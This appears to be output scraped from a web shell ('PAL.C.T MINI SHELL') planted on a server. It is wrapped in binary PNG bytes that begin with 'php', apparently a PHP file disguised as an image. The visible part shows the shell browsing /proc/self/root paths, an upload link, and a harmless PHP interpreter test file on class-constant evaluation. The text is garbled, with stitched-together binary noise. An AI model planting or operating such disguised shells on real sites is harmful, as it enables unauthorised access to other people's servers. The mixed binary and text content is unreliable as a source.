php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/php-7.1.11/tests/classes/
upload
files >> //proc/self/root/php-7.1.11/tests/classes/constants_basic_006.phpt

--TEST--
Ensure class constants are not evaluated when a class is looked up to resolve inheritance during runtime.
--FILE--
<?php
  class C
  {
      const X = E::A;
      public static $a = array(K => D::V, E::A => K);
  }
  
  eval('class D extends C { const V = \'test\'; }');
  
  class E extends D
  {
      const A = "hello";
  }
  
  define('K', "nasty");
  
  var_dump(C::X, C::$a, D::X, D::$a, E::X, E::$a);
?>
--EXPECTF--
string(5) "hello"
array(2) {
  ["nasty"]=>
  string(4) "test"
  ["hello"]=>
  string(5) "nasty"
}
string(5) "hello"
array(2) {
  ["nasty"]=>
  string(4) "test"
  ["hello"]=>
  string(5) "nasty"
}
string(5) "hello"
array(2) {
  ["nasty"]=>
  string(4) "test"
  ["hello"]=>
  string(5) "nasty"
}
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`